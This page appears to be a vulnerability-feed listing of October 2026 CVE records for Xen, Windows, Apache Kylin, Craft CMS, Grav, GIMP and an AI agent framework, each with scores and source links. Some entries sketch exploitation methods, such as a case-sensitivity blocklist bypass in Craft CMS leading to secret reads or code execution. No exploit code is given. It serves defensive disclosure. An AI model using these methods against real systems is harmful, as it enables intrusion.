https://kevwire.com/record/CVE-2026-102702
[This CNA information record relates to multiple CVEs; the
text explains which aspects/vulnerabilities correspond to which CVE.]

1) XSA-437 (CVE-2023-34321) addressed issues with... (Oct 13, 2026).
[This CNA information record relates to multiple CVEs; the
text explains which aspects/vulnerabilities correspond to which CVE.]

1) XSA-437 (CVE-2023-34321) addressed issues with overflows in
   calculations involved in guests flushing caches through
   GNTTABOP_cache_flush.  Unfortunately the fix there introduced a
   calculation which may underflow, resulting in a loop which would - at
   least on 64-bit Arm - take excessively long, and which would likely
   eventually crash the hypervisor.

   This is CVE-2026-102699.

2) GNTTABOP_cache_flush may be issued on memory mapped from another
   domain using the grant table interface.  However there was no
   restriction to disallow the use of invalidate-without-clean against
   read-only grant mappings, which may corrupt the granted memory.

   This is CVE-2026-102702.
CVSS 7.5 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102702).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102702&date=2026-10-25).
Sources:
NVD CVE-2026-102702: https://nvd.nist.gov/vuln/detail/CVE-2026-102702
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102702&date=2026-10-25
[This CNA information record relates to multiple CVEs; the
text explains which aspects/vulnerabilities correspond to which CVE.]

1) XSA-437 (CVE-2023-34321) addressed issues with overflows in
   calculations involved in guests flushing caches through
   GNTTABOP_cache_flush.  Unfortunately the fix there introduced a
   calculation which may underflow, resulting in a loop which would - at
   least on 64-bit Arm - take excessively long, and which would likely
   eventually crash the hypervisor.

   This is CVE-2026-102699.

2) GNTTABOP_cache_flush may be issued on memory mapped from another
   domain using the grant table interface.  However there was no
   restriction to disallow the use of invalidate-without-clean against
   read-only grant mappings, which may corrupt the granted memory.

   This is CVE-2026-102702.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### [This CNA information record relates to multiple CVEs; the
text explains which aspects/vulnerabilities correspond to which CVE.]

1) XSA-437 (CVE-2023-34321) addressed issues with...
https://kevwire.com/record/CVE-2026-102699
[This CNA information record relates to multiple CVEs; the
text explains which aspects/vulnerabilities correspond to which CVE.]

1) XSA-437 (CVE-2023-34321) addressed issues with... (Oct 13, 2026).
[This CNA information record relates to multiple CVEs; the
text explains which aspects/vulnerabilities correspond to which CVE.]

1) XSA-437 (CVE-2023-34321) addressed issues with overflows in
   calculations involved in guests flushing caches through
   GNTTABOP_cache_flush.  Unfortunately the fix there introduced a
   calculation which may underflow, resulting in a loop which would - at
   least on 64-bit Arm - take excessively long, and which would likely
   eventually crash the hypervisor.

   This is CVE-2026-102699.

2) GNTTABOP_cache_flush may be issued on memory mapped from another
   domain using the grant table interface.  However there was no
   restriction to disallow the use of invalidate-without-clean against
   read-only grant mappings, which may corrupt the granted memory.

   This is CVE-2026-102702.
CVSS 7.5 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102699).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102699&date=2026-10-25).
Sources:
NVD CVE-2026-102699: https://nvd.nist.gov/vuln/detail/CVE-2026-102699
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102699&date=2026-10-25
[This CNA information record relates to multiple CVEs; the
text explains which aspects/vulnerabilities correspond to which CVE.]

1) XSA-437 (CVE-2023-34321) addressed issues with overflows in
   calculations involved in guests flushing caches through
   GNTTABOP_cache_flush.  Unfortunately the fix there introduced a
   calculation which may underflow, resulting in a loop which would - at
   least on 64-bit Arm - take excessively long, and which would likely
   eventually crash the hypervisor.

   This is CVE-2026-102699.

2) GNTTABOP_cache_flush may be issued on memory mapped from another
   domain using the grant table interface.  However there was no
   restriction to disallow the use of invalidate-without-clean against
   read-only grant mappings, which may corrupt the granted memory.

   This is CVE-2026-102702.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-102211
Use after free in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102211).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102211&date=2026-10-25).
Sources:
NVD CVE-2026-102211: https://nvd.nist.gov/vuln/detail/CVE-2026-102211
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102211
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102211&date=2026-10-25
Use after free in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Storage allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-102189
Heap-based buffer overflow in Windows Storage allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Storage allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102189).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102189&date=2026-10-25).
Sources:
NVD CVE-2026-102189: https://nvd.nist.gov/vuln/detail/CVE-2026-102189
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102189
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102189&date=2026-10-25
Heap-based buffer overflow in Windows Storage allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Storage allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-102191
Heap-based buffer overflow in Windows Storage allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Storage allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102191).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102191&date=2026-10-25).
Sources:
NVD CVE-2026-102191: https://nvd.nist.gov/vuln/detail/CVE-2026-102191
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102191
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102191&date=2026-10-25
Heap-based buffer overflow in Windows Storage allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer underflow (wrap or wraparound) in Windows Failover Cluster allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-102192
Integer underflow (wrap or wraparound) in Windows Failover Cluster allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Integer underflow (wrap or wraparound) in Windows Failover Cluster allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102192).
EPSS 1.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102192&date=2026-10-25).
Sources:
NVD CVE-2026-102192: https://nvd.nist.gov/vuln/detail/CVE-2026-102192
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102192
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102192&date=2026-10-25
Integer underflow (wrap or wraparound) in Windows Failover Cluster allows an unauthorized attacker to deny service over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-102193
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102193).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102193&date=2026-10-25).
Sources:
NVD CVE-2026-102193: https://nvd.nist.gov/vuln/detail/CVE-2026-102193
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102193
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102193&date=2026-10-25
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Graphics Kernel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-102194
Use after free in Windows Graphics Kernel allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Graphics Kernel allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102194).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102194&date=2026-10-25).
Sources:
NVD CVE-2026-102194: https://nvd.nist.gov/vuln/detail/CVE-2026-102194
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102194
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102194&date=2026-10-25
Use after free in Windows Graphics Kernel allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-102195
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102195).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102195&date=2026-10-25).
Sources:
NVD CVE-2026-102195: https://nvd.nist.gov/vuln/detail/CVE-2026-102195
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102195
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102195&date=2026-10-25
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Dell Application Store, versions prior to 26.05.0.7, contain an Incorrect Permission Assignment for Critical Resource vulnerability.
https://kevwire.com/record/CVE-2026-71169
Dell Application Store, versions prior to 26.05.0.7, contain an Incorrect Permission Assignment for Critical Resource vulnerability. (Oct 19, 2026).
Dell Application Store, versions prior to 26.05.0.7, contain an Incorrect Permission Assignment for Critical Resource vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Disclosure of sensitive information
CVSS 7.0 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-71169).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-71169&date=2026-10-25).
Sources:
NVD CVE-2026-71169: https://nvd.nist.gov/vuln/detail/CVE-2026-71169
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-71169&date=2026-10-25
Dell Application Store, versions prior to 26.05.0.7, contain an Incorrect Permission Assignment for Critical Resource vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Disclosure of sensitive information

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of Untrusted Data vulnerability in Apache Kylin.
https://kevwire.com/record/CVE-2026-64610
Deserialization of Untrusted Data vulnerability in Apache Kylin. (Oct 16, 2026).
Deserialization of Untrusted Data vulnerability in Apache Kylin. Unsafe Java deserialization could happen from a broken external cache service.



This issue affects Apache Kylin: from 4 through 5.0.4.



Users are recommended to upgrade to version 5.0.5, which fixes the issue.
CVSS 9.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-64610).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-64610&date=2026-10-25).
Sources:
NVD CVE-2026-64610: https://nvd.nist.gov/vuln/detail/CVE-2026-64610
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-64610&date=2026-10-25
Deserialization of Untrusted Data vulnerability in Apache Kylin. Unsafe Java deserialization could happen from a broken external cache service.



This issue affects Apache Kylin: from 4 through 5.0.4.



Users are recommended to upgrade to version 5.0.5, which fixes the issue.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing Authorization vulnerability in Apache Kylin.
https://kevwire.com/record/CVE-2026-63619
Missing Authorization vulnerability in Apache Kylin. (Oct 16, 2026).
Missing Authorization vulnerability in Apache Kylin. A backend metadata dump API misses the enough authorization and the path-confinement. Impact most to the kylin services that are directly exposed to public network, which is not common. In-house kylin deployments are mostly not impacted.



This issue affects Apache Kylin: from 4 through 5.0.4.



Users are recommended to upgrade to version 5.0.5, which fixes the issue.
CVSS 9.1 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-63619).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-63619&date=2026-10-25).
Sources:
NVD CVE-2026-63619: https://nvd.nist.gov/vuln/detail/CVE-2026-63619
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-63619&date=2026-10-25
Missing Authorization vulnerability in Apache Kylin. A backend metadata dump API misses the enough authorization and the path-confinement. Impact most to the kylin services that are directly exposed to public network, which is not common. In-house kylin deployments are mostly not impacted.



This issue affects Apache Kylin: from 4 through 5.0.4.



Users are recommended to upgrade to version 5.0.5, which fixes the issue.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect authorization in the library-query execution endpoint in Lowcoder version, up to and including 2.4.10, allows an authenticated administrator or developer in one...
https://kevwire.com/record/CVE-2026-16753
Incorrect authorization in the library-query execution endpoint in Lowcoder version, up to and including 2.4.10, allows an authenticated administrator or developer in one... (Oct 13, 2026).
Incorrect authorization in the library-query execution endpoint in Lowcoder version, up to and including 2.4.10, allows an authenticated administrator or developer in one organization to execute a library query belonging to another organization via a crafted request containing the victim library-query identifier.
CVSS 8.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-16753).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-16753&date=2026-10-25).
Sources:
NVD CVE-2026-16753: https://nvd.nist.gov/vuln/detail/CVE-2026-16753
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-16753&date=2026-10-25
Incorrect authorization in the library-query execution endpoint in Lowcoder version, up to and including 2.4.10, allows an authenticated administrator or developer in one organization to execute a library query belonging to another organization via a crafted request containing the victim library-query identifier.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Grav 1.7.53 before 1.7.53.5 and 2.0.0-rc.8 before 2.2.2 contains a resource exhaustion vulnerability that allows anonymous visitors to bypass the system.images.max_pixels limit...
https://kevwire.com/record/CVE-2026-112782
Grav 1.7.53 before 1.7.53.5 and 2.0.0-rc.8 before 2.2.2 contains a resource exhaustion vulnerability that allows anonymous visitors to bypass the system.images.max_pixels limit... (Oct 19, 2026).
Grav 1.7.53 before 1.7.53.5 and 2.0.0-rc.8 before 2.2.2 contains a resource exhaustion vulnerability that allows anonymous visitors to bypass the system.images.max_pixels limit when system.images.url_actions is enabled. Attackers can send single-dimension or percentage forceResize, zoomCrop, or chained image actions to make GD allocate multi-gigabyte canvases, exhausting server memory and taking the site down.
CVSS 8.7 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112782).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112782&date=2026-10-25).
Sources:
NVD CVE-2026-112782: https://nvd.nist.gov/vuln/detail/CVE-2026-112782
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112782&date=2026-10-25
Grav 1.7.53 before 1.7.53.5 and 2.0.0-rc.8 before 2.2.2 contains a resource exhaustion vulnerability that allows anonymous visitors to bypass the system.images.max_pixels limit when system.images.url_actions is enabled. Attackers can send single-dimension or percentage forceResize, zoomCrop, or chained image actions to make GD allocate multi-gigabyte canvases, exhausting server memory and taking the site down.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Craft CMS 4.x before 4.18.8 and 5.x before 5.11.0 contains a blocklist bypass in the Twig create() function because its class-name checks are case-sensitive while PHP class...
https://kevwire.com/record/CVE-2026-112777
Craft CMS 4.x before 4.18.8 and 5.x before 5.11.0 contains a blocklist bypass in the Twig create() function because its class-name checks are case-sensitive while PHP class... (Oct 19, 2026).
Craft CMS 4.x before 4.18.8 and 5.x before 5.11.0 contains a blocklist bypass in the Twig create() function because its class-name checks are case-sensitive while PHP class resolution is not. Attackers with template-execution rights, such as Control Panel administrators, can instantiate SplFileObject via a lowercase class name to read .env secrets or write a PHP file into the webroot for remote code execution.
CVSS 8.7 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112777).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112777&date=2026-10-25).
Sources:
NVD CVE-2026-112777: https://nvd.nist.gov/vuln/detail/CVE-2026-112777
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112777&date=2026-10-25
Craft CMS 4.x before 4.18.8 and 5.x before 5.11.0 contains a blocklist bypass in the Twig create() function because its class-name checks are case-sensitive while PHP class resolution is not. Attackers with template-execution rights, such as Control Panel administrators, can instantiate SplFileObject via a lowercase class name to read .env secrets or write a PHP file into the webroot for remote code execution.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Craft CMS from 5.0.0 before 5.11.0 contains a remote code execution vulnerability that allows authenticated Control Panel users to escape the Twig sandbox via Asset::getMimeType...
https://kevwire.com/record/CVE-2026-112772
Craft CMS from 5.0.0 before 5.11.0 contains a remote code execution vulnerability that allows authenticated Control Panel users to escape the Twig sandbox via Asset::getMimeType... (Oct 19, 2026).
Craft CMS from 5.0.0 before 5.11.0 contains a remote code execution vulnerability that allows authenticated Control Panel users to escape the Twig sandbox via Asset::getMimeType transforms. Attackers can supply 'as' or 'on' keys passed unfiltered to Craft::createObject, attaching malicious behaviors or event handlers that execute code as the web user.
CVSS 8.7 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112772).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112772&date=2026-10-25).
Sources:
NVD CVE-2026-112772: https://nvd.nist.gov/vuln/detail/CVE-2026-112772
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112772&date=2026-10-25
Craft CMS from 5.0.0 before 5.11.0 contains a remote code execution vulnerability that allows authenticated Control Panel users to escape the Twig sandbox via Asset::getMimeType transforms. Attackers can supply 'as' or 'on' keys passed unfiltered to Craft::createObject, attaching malicious behaviors or event handlers that execute code as the web user.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in GIMP. Opening a crafted XCF that selects a path and then fails to load that path can cause a use-after-free in the main process, leading to a crash and...
https://kevwire.com/record/CVE-2026-112261
A flaw was found in GIMP. Opening a crafted XCF that selects a path and then fails to load that path can cause a use-after-free in the main process, leading to a crash and... (Oct 19, 2026).
A flaw was found in GIMP. Opening a crafted XCF that selects a path and then fails to load that path can cause a use-after-free in the main process, leading to a crash and potentially arbitrary code execution.
CVSS 7.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112261).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112261&date=2026-10-25).
Sources:
NVD CVE-2026-112261: https://nvd.nist.gov/vuln/detail/CVE-2026-112261
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112261&date=2026-10-25
A flaw was found in GIMP. Opening a crafted XCF that selects a path and then fails to load that path can cause a use-after-free in the main process, leading to a crash and potentially arbitrary code execution.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been found in Wuxi Wubang Security Software Wubang Five-in-One Safety Production Management Information System up to 3.5. Affected is the function xp_cmdshell...
https://kevwire.com/record/CVE-2026-112252
A vulnerability has been found in Wuxi Wubang Security Software Wubang Five-in-One Safety Production Management Information System up to 3.5. Affected is the function xp_cmdshell... (Oct 19, 2026).
A vulnerability has been found in Wuxi Wubang Security Software Wubang Five-in-One Safety Production Management Information System up to 3.5. Affected is the function xp_cmdshell of the file /ws.asmx. The manipulation of the argument sql leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 5.5 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112252).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112252&date=2026-10-25).
Sources:
NVD CVE-2026-112252: https://nvd.nist.gov/vuln/detail/CVE-2026-112252
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112252&date=2026-10-25
A vulnerability has been found in Wuxi Wubang Security Software Wubang Five-in-One Safety Production Management Information System up to 3.5. Affected is the function xp_cmdshell of the file /ws.asmx. The manipulation of the argument sql leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Cognition before 0.13.0 contains an unauthenticated remote code execution vulnerability due to defaulting its agent sandbox backend to local execution and shipping no...
https://kevwire.com/record/CVE-2026-109437
Cognition before 0.13.0 contains an unauthenticated remote code execution vulnerability due to defaulting its agent sandbox backend to local execution and shipping no... (Oct 19, 2026).
Cognition before 0.13.0 contains an unauthenticated remote code execution vulnerability due to defaulting its agent sandbox backend to local execution and shipping no authentication on its REST/SSE API. Attackers can create a session via POST /sessions and post a message via POST /sessions/{id}/messages without credentials, causing the Deep Agents ReAct loop to run attacker-directed shell commands through the local shell backend, resulting in remote code execution as the server process.
CVSS 9.2 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109437).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109437&date=2026-10-25).
Sources:
NVD CVE-2026-109437: https://nvd.nist.gov/vuln/detail/CVE-2026-109437
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109437&date=2026-10-25
